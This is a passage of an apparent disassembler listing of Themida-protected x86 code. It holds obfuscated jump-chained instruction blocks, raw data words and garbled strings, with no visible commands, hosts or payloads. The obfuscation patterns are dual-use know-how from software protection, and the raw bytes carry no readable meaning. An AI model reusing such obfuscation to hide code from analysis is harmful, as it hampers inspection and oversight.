		dd 0FF6C04E9h, 0BE565BFFh, 76F92CD3h, 4522E9h, 240C3300h
		dd 0E924248Bh, 653Ch, 685FFE01h, 1DA8h,	0B9240C89h, 61436BE1h
		dd 3E9C141h, 9288C181h,	0CE29F3D7h, 3B86E9h, 81D70100h
		dd 5A68D1EFh, 3C875A6Fh, 24248B24h, 8B2434FFh, 0C4812414h
		dd 4, 5EE95655h, 30000057h, 7F15E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B72:				; CODE XREF: Themida_:0056C84Bj
		push	eax
		sub	esp, 4
		push	esp
		jmp	loc_5757F7
; ---------------------------------------------------------------------------


loc_569B7F:				; CODE XREF: Themida_:0056619Aj
		neg	ch
		sub	ch, 10h
		xor	ch, 0E7h
		sub	al, 17h
		sub	al, ch
		add	al, 17h
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		jmp	loc_572302
; ---------------------------------------------------------------------------


loc_569B9D:				; CODE XREF: Themida_:00574A84j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_563F52
; ---------------------------------------------------------------------------
		dd 0DEBF575Ah, 0E975610Eh, 0FFFF7E94h, 0B172E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569BBA:				; CODE XREF: Themida_:005623C1j
		sub	edx, ebx
		pop	ebx
		push	20A4h
		jmp	loc_570B4D
; ---------------------------------------------------------------------------


loc_569BC7:				; CODE XREF: Themida_:005685E4j
		add	edx, 6F19187Ch
		push	edi
		jmp	loc_575567
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 65F1E904h, 0E7C10000h, 91AE908h,	0EB810000h
		dd 0ED8F018Ah, 0C15BDD01h, 0DFE908EDh, 8100000Bh, 0A259F9F2h
		dd 73EA814Ah, 31E905A9h, 0DFF75AD7h, 0C30BE56h,	0F6812C13h
		dd 7C1E0EA2h, 0FF7EBDE9h, 1C8B66FFh, 0E3895324h, 4BA52h
		dd 0D3010000h, 3B9FE95Ah, 14890000h, 0CABD5524h, 0F7571B2Ch
		dd 63E581D5h, 81446A42h, 2239D1F5h, 8BEA8946h, 0C481242Ch
		dd 4, 4EC81h, 34890000h, 677DBE24h, 0E95035B5h,	0FFFF78D6h
; ---------------------------------------------------------------------------


loc_569C64:				; CODE XREF: Themida_:0056D54Aj
		mov	[esp], eax
		mov	eax, 60A15D15h
		not	eax
		xchg	eax, ebx
		jmp	loc_565CCD
; ---------------------------------------------------------------------------


loc_569C74:				; CODE XREF: Themida_:00563722j
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 74140F2Dh
		jmp	loc_56225E
; ---------------------------------------------------------------------------
		db 0BEh, 0E1h, 41h
		dd 8DB9243Dh, 15651DCh,	2434FFF1h, 4C4835Eh, 0CD895550h
		dd 0FF76A9E9h, 0E95566FFh, 0FFFFDC44h, 0C281E289h, 4, 3304EA83h
		dd 14312414h, 24143324h, 8924248Bh, 4832424h, 48B0424h
		dd 0E0895024h, 405h, 40500h, 4870000h, 0F5E95C24h, 66000076h
		dd 0E924248Bh, 0FFFF6A2Dh, 0FE99B151h, 0FAF180C9h, 0C800B52Ch
		dd 0B9D5E952h, 0ED810000h, 47191718h, 0E945D5F7h, 0FFFFC84Ah
		dd 8B240C87h, 0B4E92424h, 810000ADh, 4C4h, 71D8E900h, 335FFFFFh
		dd 14312414h, 78ECE924h, 51BEFFFFh, 81359640h, 0BF26B5CEh
		dd 0B4B2E90Dh, 0E95DFFFFh, 0FFFF7CFFh, 394B51BDh, 60BCE931h
		dd 0E6D10000h, 8105E6C1h, 0FC177FE6h, 3CEE8100h, 5300D406h
		dd 0D989F389h, 0FF8840E9h, 0BE5659FFh, 53C03C1Ah, 97B5EE81h
		dd 0F13169C6h, 8734E9h,	242C8900h, 85ABE56h, 0EED16816h
		dd 1428E9h, 4EC8100h, 89000000h, 50532414h, 0D0F673B0h
		dd 0D597E952h, 3C87FFFFh, 24248B24h, 0CF68E1F7h, 8900007Eh
		dd 9C502414h, 0FF6960E9h, 0E9D601FFh, 5C80h, 0E904EC83h
		dd 0FFFFB575h, 115199BDh, 9BBB5375h, 31751151h,	332E9DDh
		dd 0ADBF0000h, 81408C4Ch, 543607EFh, 9B6FE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569DE6:				; CODE XREF: Themida_:0057516Dj
		pop	dword ptr [esp]
		jmp	loc_56B95D
; ---------------------------------------------------------------------------
aHc		db ']hC ',0
		align 4
		dd 1A32E9h
		db 0
; ---------------------------------------------------------------------------


loc_569DF9:				; CODE XREF: Themida_:005682B2j
		push	5EE9h
		mov	[esp], edi
		push	ebp
		jmp	loc_56A952
; ---------------------------------------------------------------------------
		db 89h
		dd 8953241Ch, 94FAE9E3h, 1C87FFFFh, 0C4835C24h,	0C4E95204h
		dd 1FFFFAEh, 0E28952CAh, 4B59BD55h, 0C5812281h,	20A37F12h
		dd 0CA6FF581h, 0B3E94324h, 8300003Ch, 0DDE904C4h, 5000072h
		dd 2D7D4755h, 0E56AA925h, 0F7E3053Eh, 0C601C99Fh, 4C68158h
		dd 0E9000000h, 0FFFFA069h, 46E9DEF7h, 66FFFFD6h, 292AF581h
		dd 0FFCD3166h, 0C8B2434h, 4C48324h, 4C4568h, 24348900h
		dd 2685E54h, 89000000h,	17B82404h, 0C1792D01h, 42D05E8h
		dd 103C968h, 0C68158C6h, 4, 31243433h, 0F2E92434h, 57FFFF69h
		dd 5C9E9h, 18F78100h, 816B8646h, 864185F7h, 8BFA3149h
		dd 0C481243Ch, 4, 7FEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_569ECD:				; CODE XREF: Themida_:0056269Dj
		add	edi, ebx
		pop	ebx
		jmp	loc_56282B
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 74h
		dd 0B8FFFF99h, 16AB7CADh, 7E2EF635h, 12762D5Fh,	0C7E96A96h
		dd 8F00003Fh, 0B9512404h, 3BDF352Fh, 352BF181h,	97E93BDFh
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569F03:				; CODE XREF: Themida_:00566958j
		pop	eax
		push	edi
		jmp	loc_575275
; ---------------------------------------------------------------------------


loc_569F0A:				; CODE XREF: Themida_:00567F36j
		sub	edi, esi
		jmp	loc_575498
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 33CEh, 0E9240C89h, 1375h,	0E924248Bh, 0FFFF67E9h
		dd 3432202Dh, 242C8B12h, 4C481h, 1C8B0000h, 4C48324h, 0FFC6A1E9h
		dd 4EC81FFh, 0E9000000h, 0FFFFB7B7h, 0FFE8285Ah, 8DE92434h
		dd 0D1FFFFD5h, 5EC181E9h, 29ACF129h, 0DD8959CBh, 81241C8Bh
		dd 4C4h, 7C9DE900h, 0E95A0000h,	7F6Ch, 533BBD55h, 3BE95275h
		dd 5A00006Fh, 3104C483h, 6783E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F92:				; CODE XREF: Themida_:005759B9j
		add	esp, 4
		push	ecx
		mov	ecx, 24912CE5h
		xor	ecx, 0A1AA1093h
		jmp	loc_571A28
; ---------------------------------------------------------------------------


loc_569FA6:				; CODE XREF: Themida_:0057480Fj
		xor	esi, 0D82C8168h
		xor	edx, esi
		pop	esi
		sub	ebp, edx
		pop	edx
		shr	ebp, 7
		push	eax
		push	ecx
		push	0CDE4DB9h
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 4
		push	ebx
		mov	ebx, 40E519CBh
		sub	ebx, 40E519CCh
		sub	ecx, ebx
		jmp	loc_57340A
; ---------------------------------------------------------------------------
		dd 1E88358h, 0C1B20548h, 0C18948D2h, 8BCB3158h,	0C481240Ch
		dd 4, 6B94CB81h, 0EC81170Bh, 4,	0E9241C89h, 0FFFFA9C8h
		dd 0E9241C87h, 0FFFFC538h, 0FA2EE95Bh, 0EA89FFFFh, 0EDC3815Dh
		dd 1270F67h, 0EDB850D3h, 29270F67h, 34FF58C3h, 0C4815A24h
		dd 4, 0E9241C33h, 0FFFF912Ch, 542EB81h,	0FB013162h, 542C381h
		dd 0EB813162h, 42CD5959h, 5C38EB81h, 0EB8154E0h, 64CC562Bh
		dd 8B2434FFh, 1EE9243Ch
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A063:				; CODE XREF: Themida_:0056A331j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5745A2
; ---------------------------------------------------------------------------
		db 29h
		dd 8EF81CFh, 5924913Dh,	0E903E7C1h, 0FFFF7DECh,	44060EB8h
		dd 58C22965h, 83E9C229h, 1000028h, 0B7C781D7h, 0E923930Eh
		dd 3CD0h, 7614F381h, 0EBC179B5h, 7EBC103h, 7592E9h, 2C895C00h
		dd 44BFBD24h, 0D5F7700Dh, 688BED81h, 0EA895C32h, 5E2C15Dh
		dd 0F704E2C1h, 8ABD55D2h, 0E9565434h, 24C5h
; ---------------------------------------------------------------------------


loc_56A0D4:				; CODE XREF: Themida_:0056DD54j
		mov	[esp], ecx
		mov	ch, bl
		mov	al, ch
		jmp	loc_564BE7
; ---------------------------------------------------------------------------


loc_56A0E0:				; CODE XREF: Themida_:0056B7DBj
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_568775
; ---------------------------------------------------------------------------


loc_56A0F1:				; CODE XREF: Themida_:0056BEB8j
		pop	ebx
		mov	cl, ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_574295
; ---------------------------------------------------------------------------


loc_56A0FD:				; CODE XREF: Themida_:0056DF56j
		push	ebx
		mov	ebx, 473436B0h
		jmp	loc_56210E
; ---------------------------------------------------------------------------
		dd 5DEB895Bh, 82CED81h,	0E9573B2Ah, 0FFFF79CAh
; ---------------------------------------------------------------------------


loc_56A118:				; CODE XREF: Themida_:005705BFj
		mov	edx, 20FD5382h
		jmp	loc_569846
; ---------------------------------------------------------------------------
		dw 489h
		dd 2474FF24h, 24048B04h, 0FFD53BE9h, 595D05FFh,	0EC813D2Ch
		dd 4, 0BE243489h, 56F93DBAh, 2C4CF681h,	0F681782Fh, 20FD70D4h
		dd 2D5EF029h, 49C20811h, 1105D801h, 5249C208h, 0AB281ABAh
		dd 81DAF728h, 967DB1C2h, 6821h,	14290000h, 0EBBDE924h
		dd 0C221FFFFh, 0FFF006E9h, 243481FFh, 5D083E93h, 5EA1685Bh
		dd 4890000h, 3E93B824h,	0C3315D08h, 0E92434FFh,	2C3Dh
; ---------------------------------------------------------------------------


loc_56A1A0:				; CODE XREF: Themida_:005758F3j
		mov	[esp], edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	4C82h
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, 0DDF13C7h
		add	edi, ebx
		add	edi, 0DDF13C7h
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 41241F68h
		shl	edi, 4
		not	edi
		and	edi, 54951C7Ah
		xor	edi, 4494087Eh
		jmp	loc_567C8D
; ---------------------------------------------------------------------------
		dd 0E956D9F7h, 83BFh
; ---------------------------------------------------------------------------


loc_56A1F0:				; CODE XREF: Themida_:0056524Fj
		shr	edi, 3
		jmp	loc_573D3F
; ---------------------------------------------------------------------------
		dd 0F9B9515Bh, 5383538h, 291E48C2h, 0C22DC829h,	0FF291E48h
		dd 83592434h, 685904C4h, 9EDh, 68241489h, 5B88h, 0E9241C89h
		dd 0FFFFBE13h
; ---------------------------------------------------------------------------


loc_56A228:				; CODE XREF: Themida_:00575095j
		mov	[esp], eax
		jmp	loc_5707FE
; ---------------------------------------------------------------------------
		dd 62EB68h, 242C8900h, 422BE9h,	7BFF2500h, 0F0E93EAFh
		dd 33FFFF94h, 0E95C2434h, 0FFFFD197h, 0FF2434FFh, 815A2434h
		dd 4C4h, 8332E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A262:				; CODE XREF: Themida_:0056E145j
		not	bl
		and	bl, 0E6h
		xor	bl, 0AAh
		jmp	loc_564468
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2404h, 66E1F624h, 81CCB60Fh, 4ECh, 24148900h, 24148B54h
		dd 0E904C483h, 0FFFFA64Ch, 431ABA52h, 814A187Ch, 188181F2h
		dd 5AD33194h, 0FF985AE9h, 4BDFFh, 6C810000h, 5C910424h
		dd 44810191h, 2EA80424h, 6C012990h, 6C810424h, 2EA80424h
		dd 44812990h, 5C910424h, 8F5D0191h, 4832404h, 81590424h
		dd 4C1h, 2C18100h, 51000000h, 0FFEB59E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A2E9:				; CODE XREF: Themida_:00566698j
		add	ebx, 0BAFBA0E8h
		add	edi, ebx
		jmp	loc_565CE3
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0F99136EDh, 5AA1E9E6h, 0C6810000h, 0A6029B12h, 348BF331h
		dd 4C48124h, 0E9000000h, 0FFFFD0C1h
; ---------------------------------------------------------------------------


loc_56A318:				; CODE XREF: Themida_:00574634j
		add	edi, ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	2C43h
		mov	[esp], esi
		jmp	loc_56A063
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 5DB85024h, 0D305A1Dh, 7DD97E54h, 0FFC8A8E9h,	0DDC280FFh
		dd 0EA80E2D0h, 0BBF280CFh, 0E95AD300h, 58DDh, 0D97CE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A362:				; CODE XREF: Themida_:0056B47Bj
		mov	[esp], ebx
		mov	ebx, 558716DDh
		add	eax, 7C451314h
		add	eax, ebx
		sub	eax, 7C451314h
		pop	ebx
		sub	eax, 3DB24C75h
		pop	ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_565461
; ---------------------------------------------------------------------------
		db 1, 0F7h, 0E9h
		dd 0FFFFA3DEh
; ---------------------------------------------------------------------------


loc_56A39C:				; CODE XREF: Themida_:005686F0j
		mov	ebp, 4
		add	esi, 45F31065h
		sub	esi, ebp
		sub	esi, 45F31065h
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 80h
		and	ecx, ebx
		jmp	loc_5615F7
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 295E0000h, 2434FFC8h, 4C48159h, 81000000h, 4ECh
		dd 241C8900h, 395AE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A3E9:				; CODE XREF: Themida_:00563BF2j
		xor	edi, esi
		jmp	loc_56C982
; ---------------------------------------------------------------------------


loc_56A3F0:				; CODE XREF: Themida_:0056F85Aj
		push	esi
		jmp	loc_569404
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 0FF4BE97Bh, 0D301FFFFh, 679BEB81h, 0C38140F4h, 5BB131CAh
		dd 0E92434FFh, 4BB4h, 2474FF52h, 48F5A04h, 20C8E924h, 0E9590000h
		dd 0FFFF62EDh, 8A0E9C68h, 9EE95A15h, 0B9000021h, 19587E84h
		dd 159CE01h, 84BA52CEh,	0E919587Eh, 6BD4h
; ---------------------------------------------------------------------------


loc_56A448:				; CODE XREF: Themida_:005665A7j
		pop	esi
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		jmp	loc_56C14D
; ---------------------------------------------------------------------------


loc_56A457:				; CODE XREF: Themida_:00573EF2j
		push	eax
		push	5EE220EDh
		pop	eax
		xor	eax, 45274C00h
		shl	eax, 6
		dec	eax
		jmp	loc_561C6D
; ---------------------------------------------------------------------------
		dd 3AC96857h, 3C8B379Ah, 0B0ADE924h, 8BFFFFFh, 81425B28h
		dd 5B6BBFCFh, 0BBEF8129h, 0E96B5B6Bh, 0FFFFD9F4h
; ---------------------------------------------------------------------------


loc_56A490:				; CODE XREF: Themida_:0056E001j
		mov	bh, ah
		jmp	loc_568E05
; ---------------------------------------------------------------------------
		db 0BAh
		dd 12FA3CE2h, 0FF99DDE9h, 205FFh, 0FF500000h, 8B042474h
		dd 0C4812404h, 4, 5C24048Fh, 4E9F9F6h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A4BF:				; CODE XREF: Themida_:00563076j
		mov	ecx, [esp]
		push	2677h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56A9CA
; ---------------------------------------------------------------------------


loc_56A4D1:				; CODE XREF: Themida_:0056E987j
		pop	esi
		push	ebp
		mov	ebp, 4E732EC6h
		push	139Dh
		mov	[esp], esi
		push	edx
		mov	edx, 0EA75FB0h
		mov	esi, 0C03430EEh
		sub	esi, edx
		pop	edx
		jmp	loc_56439C
; ---------------------------------------------------------------------------


loc_56A4F3:				; CODE XREF: Themida_:0056DDF9j
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56498B
; ---------------------------------------------------------------------------
		dd 2B4ACF81h, 0E7C13B94h, 2EF78106h, 81DABAE3h,	0CC158BC6h
		dd 1B75E962h, 1C870000h, 34FF5C24h, 829CE924h, 815AFFFFh
		dd 4ECh, 240C8900h, 0E92414F7h,	0FFFFF82Dh, 63C1EB81h
		dd 875F6C4Ah, 8F5C241Ch, 248B2404h, 0BF11E924h,	0ED81FFFFh
		dd 1, 8105EDC1h, 0A78F92F5h, 7ED4E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A562:				; CODE XREF: Themida_:00566F53j
		sub	esi, ebx
		jmp	loc_561BA2
; ---------------------------------------------------------------------------
aRsqs		db 'RéŸs',0
		dw 0BB00h
		dd 0FFFFFFFFh, 815BD929h, 0C4002EE9h, 0DC18174h, 16077ACh
		dd 0BA5259CBh, 4, 335AD301h, 1C31241Ch,	241C3324h, 0F24248Bh
		dd 7CC568C8h, 34890000h, 4CA16824h, 8F540000h, 0BD552404h
		dd 4, 4246C01h,	42685E5Dh, 89000061h, 13B9240Ch, 0E97DE83Dh
		dd 1572h
; ---------------------------------------------------------------------------


loc_56A5CC:				; CODE XREF: Themida_:0056C924j
		shr	ebx, 2
		shr	ebx, 2
		jmp	loc_56975C
; ---------------------------------------------------------------------------
		db 89h
		dd 8951241Ch, 95BFE9E1h, 315D0000h, 240C8BCDh, 4C481h
		dd 57E90000h, 0B8FFFFB5h, 4D6C601Bh, 16BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A5FD:				; CODE XREF: Themida_:0056246Fj
		mov	edi, 2
		sub	ebp, edi
		push	dword ptr [esp]
		jmp	loc_570C1A
; ---------------------------------------------------------------------------


loc_56A60C:				; CODE XREF: Themida_:0057608Cj
		add	ebx, edx
		pop	edx
		xor	ebx, 0FBE383E3h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56EDFE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 895004C4h, 4B951E0h, 5000000h, 6B15675Fh
		dd 5F2DC801h, 596B1567h, 350BE9h, 4BE5600h, 81000000h
		dd 431473EAh, 39EA813Fh, 166310Fh, 39B951F2h, 8166310Fh
		dd 0C4FE4C2h, 81CA0178h, 0C4FE4EAh, 0C2815978h,	3F431473h
		dd 4B8505Eh, 1000000h, 143358C2h, 24143124h, 8B241433h
		dd 57212424h, 2434FF1Ch, 0FFF1E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A699:				; CODE XREF: Themida_:0056B1C5j
		mov	[esp], ebx
		mov	ebx, 65AD626Dh
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		push	0EB9h
		jmp	loc_570790
; ---------------------------------------------------------------------------


loc_56A6B6:				; CODE XREF: Themida_:00572FC5j
		sub	ebp, 54E3497Bh
		pop	ebx
		add	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 63C90D8Ah
		jmp	loc_566578
; ---------------------------------------------------------------------------


loc_56A6CB:				; CODE XREF: Themida_:0056D75Aj
		push	esp
		jmp	loc_570D7B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 55000000h, 0FFBA1EE9h, 0C89BFFFh, 0F7811F5Ch, 2C097C18h
		dd 8706EFC1h, 87D5F7EFh, 39EF81EFh, 0E9FF32AAh,	0B233h
; ---------------------------------------------------------------------------


loc_56A6FC:				; CODE XREF: Themida_:0056638Bj
		mov	[esp], ecx
		jmp	loc_57039B
; ---------------------------------------------------------------------------
		dd 24148758h, 0FFF1D0E9h, 24248BFFh, 9C240CD2h,	0FF5FFCE9h
		dd 0EEC14EFFh, 6EEC103h, 0EA3FBD55h, 0EE310011h, 83242C8Bh
		dd 0F50104C4h, 4EC835Eh, 55241C89h, 56E66852h, 0E95A131Dh
		dd 9868h, 96D6F796h, 0A6CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A74D:				; CODE XREF: Themida_:005746C1j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_57358D
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 26h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A763:				; CODE XREF: Themida_:0056800Dj
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_573474
; ---------------------------------------------------------------------------


loc_56A770:				; CODE XREF: Themida_:00571585j
		mov	ebp, 0E8A3BFA8h
		add	ebp, ecx
		jmp	loc_56F639
; ---------------------------------------------------------------------------
		dd 4987ACB9h, 8BE93194h, 0C483242Ch, 9A3DE904h,	0F4800000h
		dd 8F83E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A796:				; CODE XREF: Themida_:005684B3j
		xor	ebp, esi
		xor	esi, ebp
		sub	esi, 245C15F3h
		jmp	loc_566FC8
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFFAE29h, 0EA4EE95Ch, 0E2BEFFFFh, 0E94EFA30h
		dd 0B3F8h
; ---------------------------------------------------------------------------


loc_56A7C0:				; CODE XREF: Themida_:0056C474j
		pop	esp
		push	62D3h
		mov	[esp], edx
		push	6DBDh
		mov	[esp], esp
		jmp	loc_565341
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 31B948h, 7DE9EB01h, 5AFFFF87h, 6850C601h, 798E1759h
		dd 3FEE8158h, 12F7648h,	3FC681C6h, 8B2F7648h, 89522404h
		dd 4C281E2h, 83000000h,	148704C2h, 46685C24h, 89000036h
		dd 69B82404h, 0C1169D1Fh, 0BCE902E8h, 1000028h,	0B9EE81DEh
		dd 0E93C8043h, 1985h, 75A0E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A836:				; CODE XREF: Themida_:00561E56j
		push	673F4F75h
		mov	edi, [esp]
		push	eax
		jmp	loc_5674B3
; ---------------------------------------------------------------------------


loc_56A844:				; CODE XREF: Themida_:0056CCB3j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_572C90
; ---------------------------------------------------------------------------


loc_56A84D:				; CODE XREF: Themida_:0056B64Cj
		push	ecx
		mov	ecx, 50775578h
		not	ecx
		or	ecx, 1D4B602Fh
		jmp	loc_570FB9
; ---------------------------------------------------------------------------
		dd 4A2BA9BFh, 5857503Fh, 5F58C189h, 79B2F181h, 0E18108F9h
		dd 54CD7912h, 4EC81h, 2C890000h, 0FFFFBD24h, 0E901FFFFh
		dd 2E9C15Dh, 8107E1C1h,	815709C1h, 6AD2E9DAh, 0E8890000h
		dd 0C1D0F75Dh, 6FE903E0h, 5E00001Dh, 0B7F3E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A8AE:				; CODE XREF: Themida_:005704F1j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_560C7D
; ---------------------------------------------------------------------------
		align 2
		dw 8BE3h
		dd 0C4832404h, 60C38004h, 768C328h, 8900001Ah, 96E9240Ch
		dd 8900009Bh, 4C681E6h,	0E9000000h, 9344h, 8CA5E95Dh, 0EE81FFFFh
		dd 279846DFh, 53242C8Bh, 0C381E389h, 4,	0FF5F5CE9h, 0FA315EFFh
		dd 0DFCAE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A906:				; CODE XREF: Themida_:0056CE6Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_56B234
; ---------------------------------------------------------------------------
		db 81h
		dd 521EA1F5h, 28C58157h, 1B907D8h, 242C8BE8h, 0A02DE952h
		dd 0C2810000h, 282A7476h, 85EEE951h, 3C33FFFFh,	243C3124h
		dd 5C243C33h, 24040966h, 5DCBE99Ch, 2C89FFFFh, 0EF41E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A952:				; CODE XREF: Themida_:00569E02j
		push	1A470672h
		pop	ebp
		not	ebp
		dec	ebp
		add	ebp, 1A470678h
		mov	edi, ebp
		pop	ebp
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56BD54
; ---------------------------------------------------------------------------


loc_56A985:				; CODE XREF: Themida_:0056B197j
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 7297434h
		jmp	loc_56CE22
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E9525024h, 0FFFFF308h, 51240C8Bh, 1541E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A9AA:				; CODE XREF: Themida_:0056E733j
		sub	ch, ah
		pop	eax
		xor	ch, 0FAh
		jmp	loc_568B01
; ---------------------------------------------------------------------------
		db 4Ah,	0C1h, 0EAh
		dd 0ECA8107h, 8159380Fh, 0D979EEEAh, 0A0ADE97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A9CA:				; CODE XREF: Themida_:0056A4CCj
		add	edx, 4
		add	edx, 4
		jmp	loc_56DA82
; ---------------------------------------------------------------------------
aBadwIBDwIVicsA	db 'íDw',0Dh,'I)ÝÅDw',0Dh,'I[V‰æS»!PMãé=+',0Bh,'Cë†!',0
		dd 5BDE0109h, 3304EE83h, 34312434h, 99F9E924h, 0C89FFFFh
		dd 9586E924h, 48B0000h,	0FB4BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AA1E:				; CODE XREF: Themida_:00574DE5j
		add	eax, 4
		jmp	loc_575A63
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 63CEh, 24048B5Bh, 4C481h, 13E90000h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56AA3F:				; CODE XREF: Themida_:0056820Bj
		add	ecx, 65277DFEh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 16B8002Dh
		add	ecx, ebx
		pop	ebx
		sub	ecx, 792E7340h
		and	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5628D6
; ---------------------------------------------------------------------------
aRsA		db 'Ré·a',0
		dw 0FF00h
		dd 59042474h, 5C24048Fh, 0E3895356h, 4C381h, 0EB810000h
		dd 4, 88E9h, 6685300h, 5B01CA23h, 2DC4E9h
		db 0
; ---------------------------------------------------------------------------


loc_56AA99:				; CODE XREF: Themida_:005691F9j
		sub	ebp, edi
		mov	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56243F
; ---------------------------------------------------------------------------
		dd 332DE801h, 0FF0BBA78h, 835D2434h, 0BD5504C4h, 6F126D49h
		dd 0F4E9DDF7h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56AAC7:				; CODE XREF: Themida_:00566BC4j
		shl	edx, 3
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_562547
; ---------------------------------------------------------------------------
		dd 676168h, 24048900h, 286ABE56h, 0F0891917h, 8BC2215Eh
		dd 0C4812404h, 4, 2532E9h, 728F2D00h, 0A6E9375Ah, 81FFFF8Eh
		dd 4C3h, 4C38300h, 5C241C87h, 72E2E9h, 241C8700h, 2424895Ch
		dd 4240481h, 8B000000h,	0C4832434h, 4C68104h, 50000000h
		dd 4B8h, 58C62900h, 5C243487h, 54243489h, 5324348Bh, 7FE9E389h
		dd 0FF000006h, 5A042474h, 5C24048Fh, 4EC81h, 1AE90000h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AB5F:				; CODE XREF: Themida_:0057041Fj
		mov	eax, [esp]
		jmp	loc_567544
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 56000000h,	9EE9h, 0DF015B00h, 1F28E9h, 48B6600h
		dd 12FF6824h, 2C890000h, 0D7EAE924h, 0E95DFFFFh, 2622h
		dd 12E9E829h, 5D000032h, 49EBF281h, 0D0297004h,	8AD6E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56ABAA:				; CODE XREF: Themida_:005618F6j
		and	dl, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		mov	al, 0F6h
		dec	al
		add	al, 0A2h
		shr	al, 3
		shr	al, 8
		sub	al, 6Fh
		sub	al, 2Ah
		xor	dl, al
		jmp	loc_5707EE
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4B95104h, 0E9000000h, 0FFFFE6B4h, 26923B8h, 0C6A4BB62h
		dd 0BE56002Ah, 609C743Ah, 4E8CE9h, 81E38900h, 4C3h, 0D0B85000h
		dd 256AF725h, 675D594Eh, 3938C505h, 6E0C136h, 37E94840h
		dd 0BE000006h, 3AA932F3h, 0E681DEF7h, 69A648A9h, 480DF681h
		dd 0F3014106h, 8C1E9h, 62F58100h, 10944FEh, 52585DEAh
